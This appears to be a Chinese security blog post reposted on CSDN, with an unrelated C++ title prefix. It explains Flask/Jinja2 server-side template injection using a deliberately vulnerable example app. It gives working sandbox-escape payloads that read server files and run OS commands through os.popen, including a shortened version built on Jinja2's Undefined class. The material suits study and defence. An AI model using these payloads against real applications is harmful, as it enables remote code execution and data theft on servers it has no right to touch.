c++输入了后边不继续_关于Flask SSTI,解锁你不知道的新姿势

这是 酒仙桥六号部队 的第 31 篇文章。

全文共计2388个字,预计阅读时长8分钟。

前言

本文主要介绍笔者在学习Flask SSTI相关知识时,无意中解锁了新姿势。在研究原理后,从中挖掘出新的奇怪知识点~

89a291749db7c10cb16449c5c5fc6598.png

前置知识

Flask和SSTI介绍

Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。

f23d50fbffccd56d72cc6c483567a56b.png

SSTI(Server-Side Template Injection),即服务端模板注入攻击。通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的。

61eef8a38579751542f40b50edc0bda8.png

jinja2 语法

在jinja2中,存在三种语法:

控制结构 {% %}变量取值 {{ }}注释 {# #}

jinja2模板中使用{{ }}语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持Python中所有的Python数据类型比如列表、字段、对象等。jinja2中的过滤器可以理解为是jinja2里面的内置函数和字符串处理函数。被两个括号包裹的内容会输出其表达式的值。

沙箱绕过

9c45aa7915533cf20267af6b024ac237.png

jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,从而绕过沙箱。

函数和属性解析:

__class__         返回调用的参数类型__bases__         返回基类列表__mro__           此属性是在方法解析期间寻找基类时的参考类元组__subclasses__()  返回子类的列表__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量 与 func_globals 等价__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

获取 object 类:

''.__class__.__mro__[2]     # 在 python2 中字符串在考虑解析时会有三个参考类 str basestring object''.__class__.__mro__[1]     # 在 python3 中字符串在考虑解析时会有两个参考类 str object{}.__class__.__bases__[0]().__class__.__bases__[0][].__class__.__bases__[0]

原理解读

简单尝试

dbb44e57be476ec8eb8570f638c67c9f.png

先来看下一个简单的Flask SSTI的实例:

from flask import Flask, requestfrom jinja2 import Templateapp = Flask(__name__)@app.route("/")def index():    name = request.args.get('name', 'guest')    t = Template("Hello " + name)             # 创建模板    return t.render()                         # 渲染if __name__ == "__main__":    app.run();                                # 启动 flask ,默认 5000 端口

代码很简单,就是访问主页的时候name参数会被渲染到页面。

5be9ad2025131a2ea3fbf5b7f2cd725c.png

可以看出来到这里有个反射型XSS,的确如此XSS就是这个位置有可能有SSTI的前奏。

3ff1e9e92b2346309a7f03144e5b276c.png

name参数后边也可以输入表达式之类的,例如:

name={{2*2}}

eb9f83336728566b19c92032e345575c.png

name={{'abc'.upper()}}

68c77906593cc70ca57d0f69539628f7.png

可以看到取表达式的值是可以成功的。但是一旦直接调用普通函数就会报错:

name={{abs(-1)}}

68f354ea0cf2eb6f556df5bf8e47a488.png

后台显示abs未定义:

0ee069522dbc423af3751892be85291b.png

绕过沙箱

7cf8d2d5737abca4fd7d697f643cb63f.png

我们来尝试获取 "()" 的类型:

name={{().__class__.__name__}}

a9dc3538529c32daa359527bed3a00a9.png

成功获取"()"的类型tuple(元组)。我们知道Python中所有类型的其实都是object类型,所以下面我们继续尝试:

获取到object类型:

name={{().__class__.__base__.__name__}}

6a00d877d2fa519175edbc2655fd811b.png

获取到object的所有子类:

name={{''.__class__.__mro__[1].__subclasses__().__name__}}

fe3f7d995396a0332c827beb45fe796e.png

发现子类型有很多,在这里我们需要找到内建模块中含有eval或者open的类型来使我们可以执行代码或读取文件。查找脚本如下:

code = 'eval'             # 查找包含 eval 函数的内建模块的类型i = 0for c in ().__class__.__base__.__subclasses__():    if hasattr(c,'__init__') and hasattr(c.__init__,'__globals__') and c.__init__.__globals__['__builtins__'] and c.__init__.__globals__['__builtins__'][code]:        print('{} {}'.format(i,c))    i = i + 1

运行结果:

e37021d08ae853a369e0484967b12765.png

在Python 2/3版本中有这么多类型的内建模块中都包含eval。这里为了让最后的结果同时兼容Python 2/3版本我们使用索引为77的类型:class 'site.Quitter'。

我们看看在这个class 'site.Quitter'的global环境下都可以执行那些函数:

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']}}

50a55d7927247627ab85d4f1038f94c8.png

可以看到几个敏感函数eval、open、file等等,应有尽有。这样我们就可以做很多我们想做的事了。

执行代码abs(-1):

name={{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

f505e7e154ae324b7239db6a55a9041f.png

看到abs(-1)已经执行成功,至此我们已经成功绕过了沙箱,执行了本不可执行的代码。

常用可兼容Python 2/3版本的Payload:

读取文件:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['open']("C:\Windows\win.ini").read()}}

b26fb995eca69c50e640256a8c2801ed.png

命令执行:

{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

fca592c99a38abb4cc1ce285bb302e49.png

是不是觉得这些Payload有些长了呢?那么有没有什么办法可以缩减一些长度呢?

解锁新姿势

无意中的尝试

当我在编写脚本和将Payload输入浏览器的时候,因手误无意中组成了一个错误的Payload:

name={{().__class__.__base__.__subclasses__().c.__init__.__globals__['__builtins__']['eval']('abs(-1)')}}

执行结果:

2f20ee1433bc1d8472f62ecf660b2150.png

竟然访问成功了!

5b4f4d75d799ba6553c82c9f4cabd930.png

那么为什么会访问成功呢?

().class.base.subclasses()理应返回的是object类型的所有子类的列表,是不应该包含c这个属性的。

理论上应该造成服务端错误返回500,服务器日志显示AttributeError: 'list' object has no attribute 'c'。但是结果却是成功执行了,这让我意识到jinja2的沙箱环境,跟普通Python运行环境还是有很多不同的。

既然这样的话我们就看下这个c对象的init函数到底是个啥?

name={{().__class__.__base__.__subclasses__().c.__init__}}

执行结果:

6d74ddd16901d78495f85f3bc7a768a6.png

竟然是一个Undefined类型,也就是说如果碰到未定义的变量就会返回为Undefined类型。而Python官方库是没有这个类型的,也就是说明这个Undefined是jinja2框架提供的。我们在jinja2框架的源码中搜寻,最后在runtime.py中找到了Undefined这个class:

ef5dcaba456cbc1e3ad1e9494a2374d3.png

继承的是object类型,并且还有其他函数。为了确认是这个class,我们尝试使用_fail_with_undefined_error:

name={{().__class__.__base__.__subclasses__().c._fail_with_undefined_error}}

b5cf13e64fa0eeafb27f477c08fa414b.png

OK,确认过眼神,我遇见对的class!

3813d1e3510e40acb0fe80a645f4a03f.png

既然都是Undefined那我随便定义一个未被定义过的变量也应该是Undefined:

name={{a.__init__.__globals__.__builtins__}}

cc359326b0f06cd684d511a2ac824e5e.png

既然Undefined类可以执行成功,那我们就可以看看他的全局global的内建模块中都包含什么了:

name={{a.__init__.__globals__.__builtins__}}

c2f4de52b1312ade0b9b811bfc507eec.png

老样子,还是可以看到几个敏感函数eval、open等等,应有尽有。

5f7e0400cfbe0ce482bbb322a08843e5.png

优化 Payload

对此我们直接优化我们的Payload,使长度大大缩短,可读性也变强了。

优化后的兼容 Python 2/3 版本的 Payload:  

读取文件:

{{a.__init__.__globals__.__builtins__.open("C:\Windows\win.ini").read()}}

df9ccd1e581d50df1f1035c1d2271496.png

命令执行:

{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}

最后

59a6238328cd4440d94283f1c8a56dbf.png

2fae099c34fb1e34d147f0eee10dc187.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值